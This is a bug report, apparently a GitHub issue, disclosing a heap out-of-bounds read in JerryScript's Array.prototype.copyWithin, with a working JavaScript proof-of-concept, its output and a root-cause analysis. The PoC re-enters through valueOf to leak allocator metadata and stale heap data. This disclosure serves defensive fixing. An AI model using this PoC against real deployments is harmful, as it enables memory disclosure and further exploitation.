-
Notifications
You must be signed in to change notification settings - Fork 691
Description
The fast-path in Array.prototype.copyWithin only validates the target range after a potential re-entrancy via end.valueOf(), but does not validate the source range. When end.valueOf() shrinks the array, the source indices start..start+count-1 extend past the reallocated buffer, causing a heap out-of-bounds read.
JerryScript revision
Build platform
macOS 26.2 (Darwin 25.2.0 arm64)
Build steps
python3 tools/build.py --cleanTest case
var N = 100;
var arr = new Array(N);
for (var i = 0; i < N; i++) arr[i] = 0xAA00 + i;
arr.copyWithin(0, 50, {
valueOf: function() {
arr.length = 60; // shrink buffer: 104→64 aligned ecma_value_t slots
return N; // end = original length → stale source range
}
});
// arr[0..9]: buffer[50..59] — in-bounds copy (normal)
// arr[10..13]: buffer[60..63] — ARRAY_HOLE padding (within aligned buffer)
// arr[14..49]: buffer[64..99] — OOB! Reading freed heap memory (36 slots)
for (var i = 0; i < 20; i++) {
print("arr[" + i + "] typeof=" + typeof arr[i]);
}Output
arr[0] typeof=number
arr[1] typeof=number
arr[2] typeof=number
arr[3] typeof=number
arr[4] typeof=number
arr[5] typeof=number
arr[6] typeof=number
arr[7] typeof=number
arr[8] typeof=number
arr[9] typeof=number
arr[10] typeof=undefined
arr[11] typeof=undefined
arr[12] typeof=undefined
arr[13] typeof=undefined
arr[14] typeof=object
arr[15] typeof=number
arr[16] typeof=number
arr[17] typeof=number
arr[18] typeof=number
arr[19] typeof=number
Elements at indices 14–49 contain data read from beyond the allocated fast-array buffer — jmem_heap_free_t allocator metadata (free list next_offset and block size fields) and stale unzeroed heap data are leaked into the JavaScript-visible array.
arr[14]=jmem_heap_free_t.next_offset(typically0xFFFFFFFF= end-of-list marker, decodes astypeof === "object")arr[15]=jmem_heap_free_t.size(free block size in bytes, also decodes astypeof === "object")arr[16..49]= stale data: original array values that persist in freed memory (allocator does not zero freed blocks)
Expected behavior
As it reduces array length to 60, the output array[10..20] should be undefined instead of heap metadata.
Root cause analysis
In ecma-builtin-array-prototype.c, the copyWithin implementation:
- Line ~2810: The dispatcher captures
len = 100(the array length) before entering copyWithin. This value is passed as a parameter and never refreshed. - Line ~2340:
end.valueOf()callback runs — user code setsarr.length = 60, which triggersjmem_heap_realloc_blockto shrink the underlying fast-array buffer from 416 → 256 bytes (104 → 64 aligned slots). The freed tail (160 bytes) is returned to thejmemfree list. - Line ~2356:
count = min(end - start, len - target) = min(100 - 50, 100 - 0) = 50— computed from stalelen, not the actual post-shrink length. - Line ~2377: Fast-path bounds check validates
target + count - 1 >= ext_obj_p->u.array.length. Withtarget=0,count=50,actual_length=64:0 + 50 - 1 = 49 < 64— passes. - No check on source:
start + count - 1 = 50 + 50 - 1 = 99 >= 64— the source range overflows the buffer by 36 slots. There is no validation for this. - Line ~2386:
ecma_copy_value_if_not_object(buffer_p[start + k])reads 36ecma_value_tslots (144 bytes) from freed heap memory.
The OOB read is constrained to the freed tail of the original buffer allocation (slots 64–99), which contains jmem_heap_free_t metadata followed by stale data. If the freed region is reused by another allocation before copyWithin completes, cross-object data would be leaked.